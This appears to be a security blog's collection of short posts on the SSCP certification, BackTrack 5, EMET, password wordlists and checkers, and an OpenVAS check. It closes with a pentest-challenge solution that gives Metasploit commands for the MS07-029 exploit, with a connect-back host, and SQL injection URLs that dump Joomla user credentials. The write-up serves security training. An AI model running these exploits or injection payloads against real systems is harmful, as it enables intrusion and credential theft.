SSCP (Systems Security Certified Professional)

The SSCP credential seems to be the most misunderstood and under appreciated of
those certifications offered by (ISC)2. In actuality, it is one of the most critical and
essential in the field. This is because the work of the SSCP is where the effectiveness
of information security is implemented. Few CISSPs have the technical skills necessary
to perform the hands-on implementation of the information security controls
that they determine to be necessary to effectively protect the critical and sensitive
resources of the organization.
In a mainframe environment, the SSCP role is usually performed by systems
programmers assigned to the security department. Otherwise, it would be the
responsibility of a system or network administrator from operations.
The security role of the SSCP is twofold. First, they are responsible for the
due care activity of correctly implementing and maintaining designated security
mechanisms. Second, they are in the best position to accurately evaluate the effectiveness
of the installed controls—the due diligence side of the equation.

The SCP certification domains are named after the seven major categories of
the SSCP Common Body of Knowledge (CBK). The CBK is a taxonomy of topics
and sub-topics that is updated annually by the SSCP CBK Committee composed
of international subject matter experts. Currently, the seven categories are:
◾Access Control
◾Analysis and Monitoring
◾Cryptography
◾Malicious Code
◾Networks and Telecommunications
◾Risk, Response, and Recovery
◾Security Operations and Administration

BackTrack 5

BackTrack 5 released on May 11.

BackTrack is intended for all audiences from the most savvy security professionals to early newcomers to the information security field. BackTrack promotes a quick and easy way to find and update the largest database of security tools collection to-date. Our community of users range from skilled penetration testers in the information security field, government entities, information technology, security enthusiasts, and individuals new to the security community.

Feedback from all industries and skill levels allows us to truly develop a solution that is tailored towards everyone and far exceeds anything ever developed both commercially and freely available. The project is funded by Offensive Security. Whether you’re hacking wireless, exploiting servers, performing a web application assessment, learning, or social-engineering a client, BackTrack is the one-stop-shop for all of your security needs.

BackTrack 5 comes in several flavours and architectures. VM & ISO come with KDE & GNOME flavors.

Visit http://www.backtrack-linux.org/downloads/ to download your preferable flavor.

Microsoft EMET

The enhanced Mitigation Experience Toolkit (EMET) is designed to help prevent hackers from gaining access to your system.

Software vulnerabilities and exploits have become an everyday part of life. Virtually every product has to deal with them and consequently, users are faced with a stream of security updates. For users who get attacked before the latest updates have been applied or who get attacked before an update is even available, the results can be devastating: malware, loss of PII, etc.

Download EMET

Wordlists for Password Cracking

For those who are looking for Wordlists for password cracking (dictionary), you can download some good wordlists here:

http://www.outpost9.com/files/WordLists.html
http://wordlist.sourceforge.net/
http://www.openwall.com/passwords/wordlists/

and a password wordlist generator:

http://www.securiteam.com/tools/5ZP0N20GAW.html

Password Checker

Very good online Password Checkers...

Check this out:

http://www.passwordmeter.com/

and this...

http://www.yetanotherpasswordmeter.com/

OpenVAS Client & Server Connection

OpenVAS Vulnerability Scanner is one of the world most advanced Open Source vulnerability scanner available today. For some reasons, you might find that the OpenVAS server (openvassd) didn't run properly as expected after loading all plugins.

To check OpenVAS Client & Server connection, we can issue this command:

root@bt:/usr/local/sbin# lsof -i
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
cupsd 5491 root 2u IPv4 18281 TCP localhost:ipp (LISTEN)
nessusd 5759 root 4u IPv4 18917 TCP *:nessus (LISTEN)
nessusd 5759 root 6u IPv6 18920 TCP *:nessus (LISTEN)
nessusd 5759 root 8u IPv4 19018 TCP *:8834 (LISTEN)
dhclient 6245 root 5u IPv4 22498 UDP *:bootpc
openvassd 30053 root 4u IPv6 61325 TCP *:9390 (LISTEN)
OpenVAS-C 30065 root 5u IPv4 61625 TCP localhost:52713->localhost:9390 (ESTABLISHED)
openvassd 30069 root 6u IPv6 61346 TCP localhost:9390->localhost:52713 (ESTABLISHED)

OpenVAS server listens on TCP port 9390 by default.

PenTest Challenge (131.107.1.250)

Solutions

1. MS-DNS RPC Vulnerability (MS07-029)

msf > use windows/dcerpc/ms07_029_msdns_zonename
msf exploit(ms07_029_msdns_zonename) > set RHOST 131.107.1.250
RHOST => 131.107.1.250
msf exploit(ms07_029_msdns_zonename) > set LHOST 131.107.1.252
LHOST => 131.107.1.252
msf exploit(ms07_029_msdns_zonename) > set LPORT 443
LPORT => 443
msf exploit(ms07_029_msdns_zonename) > set TARGET 0
TARGET => 0
msf exploit(ms07_029_msdns_zonename) > exploit

2. SQL Injection Vulnerability in Joomla Component (Amblog)

Link: http://www.exploit-db.com/exploits/14596/

http://131.107.1.250/joomla/index.php?option=com_amblog&view=amblog&catid=-1%20UNION%20SELECT%20@@version

http://131.107.1.250/joomla/index.php?option=com_amblog&task=article&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users